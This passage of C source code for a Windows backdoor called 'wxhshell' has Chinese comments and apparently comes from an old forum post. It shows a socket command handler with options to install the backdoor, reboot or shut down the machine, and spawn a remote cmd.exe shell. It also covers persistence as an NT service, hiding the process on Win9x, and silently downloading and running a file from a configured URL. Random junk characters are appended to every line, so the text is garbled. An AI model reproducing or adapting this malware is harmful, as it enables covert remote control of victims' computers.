    switch(cmd[0]) { DM+sjn  
  65 NWX8f}  
  // 帮助 J*/$ywI  
  case '?': {  ;I[ .  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zjzqKdy}F  
    break; @:I \\S@bN  
  } 4+ykE:  
  // 安装 [<,0A]m   
  case 'i': { NWaI[P  
    if(Install()) }kpfJLjY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }x>}:"P;W  
    else bwv/{3G,Ys  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vr5<LNCLQ  
    break; (8+.#1!*  
    } hrUm} @d  
  // 卸载 )WzGy~p8K  
  case 'r': { %jYQ  
    if(Uninstall()) 8.6no  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9N`+ O  
    else yN%3w0v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }mkA Hmu4  
    break; H!Fr("6}  
    } WlF+unB!9  
  // 显示 wxhshell 所在路径 )cf p(16  
  case 'p': { R V_MWv  
    char svExeFile[MAX_PATH]; 7/$nA<qM  
    strcpy(svExeFile,"\n\r"); nI((ki}v  
      strcat(svExeFile,ExeFile); $yP'k&b!  
        send(wsh,svExeFile,strlen(svExeFile),0); 9J't[( u|u  
    break; qen44;\L  
    }  WMt&8W5  
  // 重启 vY8WqG]  
  case 'b': { ^' edE5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /TR"\xQF  
    if(Boot(REBOOT)) qJe&jLZa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i'[n`|c<  
    else { HPv&vdr3  
    closesocket(wsh); [J[ysW})W  
    ExitThread(0); 9u-M! $  
    } i!/h3%=  
    break; I_R5\l}O+D  
    } 7=9A_4G!  
  // 关机 QH~8 aE_i  
  case 'd': { ~)oWSo5ll  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BVwRPt  
    if(Boot(SHUTDOWN)) d|D'&&&c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -;W\f<q]  
    else { G~Q*:m  
    closesocket(wsh); IeqWR4Y  
    ExitThread(0); "RR./e)h  
    } V{/)RZ/  
    break; I\F=s-VVY  
    } q329z>  
  // 获取shell L~SrI{aYPf  
  case 's': { FcJ.)U  
    CmdShell(wsh); 'Kt4O9=p  
    closesocket(wsh); ePIly)=X  
    ExitThread(0); 9g<_JcN  
    break; ,_e/a   
  } S|z(  
  // 退出 =X%R*~!#Of  
  case 'x': { !/=9VD{U!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =l?"=HF  
    CloseIt(wsh); wd2P/y42;;  
    break; W? 6  
    } <Bob#Tf ~  
  // 离开 .3g\[p   
  case 'q': { NUxAv= xl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .wt>.mUH  
    closesocket(wsh); XQ+-+CD  
    WSACleanup(); @h z0:ezg:  
    exit(1); !Ed<xG/  
    break; *cb D&R\  
        } (<AM+|  
  } { 8|Z}?I  
  } _Oaso >  
ZQJw2LAgO  
  // 提示信息 KY(l<pm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [W8iM7D  
} |n-a\  
  } 7!` C TE  
D{Jc+Q$  
  return; #7cf 8y  
} F(J!dG5#  
%'D:bi5  
// shell模块句柄 4p/V6kr&r  
int CmdShell(SOCKET sock) A<*tn?M]  
{ tZc.%TU  
STARTUPINFO si; =":V WHf  
ZeroMemory(&si,sizeof(si)); Hi4@!]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v=yI#5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rp4BU"&sU  
PROCESS_INFORMATION ProcessInfo; f@x( ,p  
char cmdline[]="cmd"; E}CqVuU$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J?HZ,7X:  
  return 0; +-KRp1qq  
} <}x|@u  
*Tlws  
// 自身启动模式 /n<Ncf  
int StartFromService(void) 9O 0  
{ j{Qbzczy,  
typedef struct &&QDEDszp  
{ hnfrnYH  
  DWORD ExitStatus; VHXR)}  
  DWORD PebBaseAddress; $4ZDT]n  
  DWORD AffinityMask; #\!hBL @b  
  DWORD BasePriority; "l2N_xX;  
  ULONG UniqueProcessId; [7 Kj$PB3  
  ULONG InheritedFromUniqueProcessId; gWU(uBS  
}   PROCESS_BASIC_INFORMATION; 5GWM )vrZg  
WTy8N  
PROCNTQSIP NtQueryInformationProcess; Aaw:B?4)  
fU){]YP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {u[K ^G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _R!!4Hp<Q  
+Muia5G  
  HANDLE             hProcess; y[7xK}`_  
  PROCESS_BASIC_INFORMATION pbi; dQ2i{A"BKz  
Sr#fyr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HU.6L 'H*  
  if(NULL == hInst ) return 0; Ul~}@^m]4}  
Uc%`? +Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }?ac<> u&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M6>\R$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /-<m(72wF  
9[]"%6  
  if (!NtQueryInformationProcess) return 0; gQzJ2LU(  
1_E3DXe  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :92a34  
  if(!hProcess) return 0; HuLm!tCu  
`5 v51TpH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tk@g9\6O9  
{CyPcD'$s  
  CloseHandle(hProcess); -r2qIt  
BKlc{=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *]UEF_  
if(hProcess==NULL) return 0; . L6@Rs  
fm2Mi~}0  
HMODULE hMod; :aFpz6<  
char procName[255]; +M%2m3.Jo  
unsigned long cbNeeded; !v;_@iW3e  
h,jAtL!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q-)_Qco  
(R 2P< Zr  
  CloseHandle(hProcess); R"kE5 :  
R8W4 4I*R:  
if(strstr(procName,"services")) return 1; // 以服务启动 l$ _+WC*wp  
?~y(--.t;T  
  return 0; // 注册表启动 Cot\i\]jv  
} (/P&;?j  
ke6cZV5w  
// 主模块 YV!V9   
int StartWxhshell(LPSTR lpCmdLine) oX]1>#5UMg  
{ 25@j2K(  
  SOCKET wsl; L}S4Zz18  
BOOL val=TRUE; O?J:+L(  
  int port=0; s\1_-D5]Z  
  struct sockaddr_in door; .nY6[2am  
*L8HC8IbH  
  if(wscfg.ws_autoins) Install(); HkB<RsS$p_  
Ol5xyj  
port=atoi(lpCmdLine); }c#/1J7  
9TN5|x  
if(port<=0) port=wscfg.ws_port; Kxaz^$5Y$  
-/{}^ QWB  
  WSADATA data; U\GZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WsDe0F  
>\x 39B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]SR`96vG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); < 3+&DV-<N  
  door.sin_family = AF_INET; h}<ZZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pC.T)k  
  door.sin_port = htons(port); : )*Ge3  
m-FDCiN>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &B,& *Lp  
closesocket(wsl); e(% Solkm?  
return 1; 1Moh`  
} ,%G2>PBt  
6zZR:ej  
  if(listen(wsl,2) == INVALID_SOCKET) { H 1X]tw.  
closesocket(wsl); 54DR.>O  
return 1; |VEAzY|[#  
} [)0k}  
  Wxhshell(wsl); +7OT`e %q  
  WSACleanup();  wupD   
2 3w{h d  
return 0; \ OINzfbr  
Afl'-  
} mnaD KeA  
ga9:*G!b{)  
// 以NT服务方式启动 O9&:(2'f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z_WTMs:x!  
{ G")EE#W$}  
DWORD   status = 0; 5&Kn #  
  DWORD   specificError = 0xfffffff; ho$%7mc  
n k3lC/f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ",_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &V{,D))6[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RYaof W  
  serviceStatus.dwWin32ExitCode     = 0; xTJ5VgG  
  serviceStatus.dwServiceSpecificExitCode = 0; `bF;Ew;  
  serviceStatus.dwCheckPoint       = 0; =_6h{f&Q  
  serviceStatus.dwWaitHint       = 0; &bK$!8Z  
rM.<Gi05Qe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FQ1oqqr  
  if (hServiceStatusHandle==0) return; *lF%8k"Al  
.g?,:$`0D?  
status = GetLastError(); !_!b \  
  if (status!=NO_ERROR) WN1-J(x6  
{ C P v}A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o@;_(knb  
    serviceStatus.dwCheckPoint       = 0; <t@*[Aw  
    serviceStatus.dwWaitHint       = 0; ID+k`nP  
    serviceStatus.dwWin32ExitCode     = status; ,lM2BXz%  
    serviceStatus.dwServiceSpecificExitCode = specificError; cBf{R^>Fd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^C| 9K>M  
    return; 8{ t&8Ql n  
  } 6^u(PzlA|~  
umn^QZ,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n9-[z2n  
  serviceStatus.dwCheckPoint       = 0; `:O.g9  
  serviceStatus.dwWaitHint       = 0; @!O{>`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z"T(8>c;g  
} .LHe*JC  
T bWZw  
// 处理NT服务事件,比如:启动、停止 >vy+U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2MeavTr  
{ - Sgp,"a  
switch(fdwControl) rcT<OiYuig  
{ %;?3A#  
case SERVICE_CONTROL_STOP: Z`t?kXDNoI  
  serviceStatus.dwWin32ExitCode = 0; E=trJge  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6LQO>k  
  serviceStatus.dwCheckPoint   = 0; ;mlIWn  
  serviceStatus.dwWaitHint     = 0; 3s`3}DKK  
  { ~C x2Q4E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tyl"N{ _  
  } KVy5/A/8c  
  return; D<6k AGE  
case SERVICE_CONTROL_PAUSE: #::vMnT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Hp AZ{P7  
  break; *X=-^\G  
case SERVICE_CONTROL_CONTINUE: KL`>mJo$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v}D!  
  break; tYa8I/HpT  
case SERVICE_CONTROL_INTERROGATE: Ts6X:D4,  
  break; V1;-5L75  
}; AFED YRX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RfRaWbn  
} T,>e\  
4*W7{MPY  
// 标准应用程序主函数 4iW 2hV@m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fh<G& E8 p  
{ bnQO}G  
`I$A;OPK7  
// 获取操作系统版本 k#[s)Ja?s  
OsIsNt=GetOsVer(); !o!04_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T7'$A!c  
)_?$B6hf,&  
  // 从命令行安装 KW<CU'  
  if(strpbrk(lpCmdLine,"iI")) Install(); Um<vsR  
s'I$yJ)@2E  
  // 下载执行文件 rgY~8PY"  
if(wscfg.ws_downexe) { V.1sZYA9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6B{Awm@v}X  
  WinExec(wscfg.ws_filenam,SW_HIDE); l?[DO?m+R  
} _3S{n=9  
FoQk  
if(!OsIsNt) { lR!$+atW  
// 如果时win9x,隐藏进程并且设置为注册表启动 *Rd&4XG  
HideProc(); a=dN.OB}F7  
StartWxhshell(lpCmdLine); y"ck;OQD  
} p3'+"sFU  
else &EOh}O<  
  if(StartFromService()) Ui&$/%Z|  
  // 以服务方式启动 OLwxGRYX  
  StartServiceCtrlDispatcher(DispatchTable); %54![-@  
else ~T~v*'_h  
  // 普通方式启动 #v-!GK_<  
  StartWxhshell(lpCmdLine); ./'n2$^3  
?da3Azp  
return 0; IpxjP\  
}
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只看该作者 1 发表于: 2006-10-10
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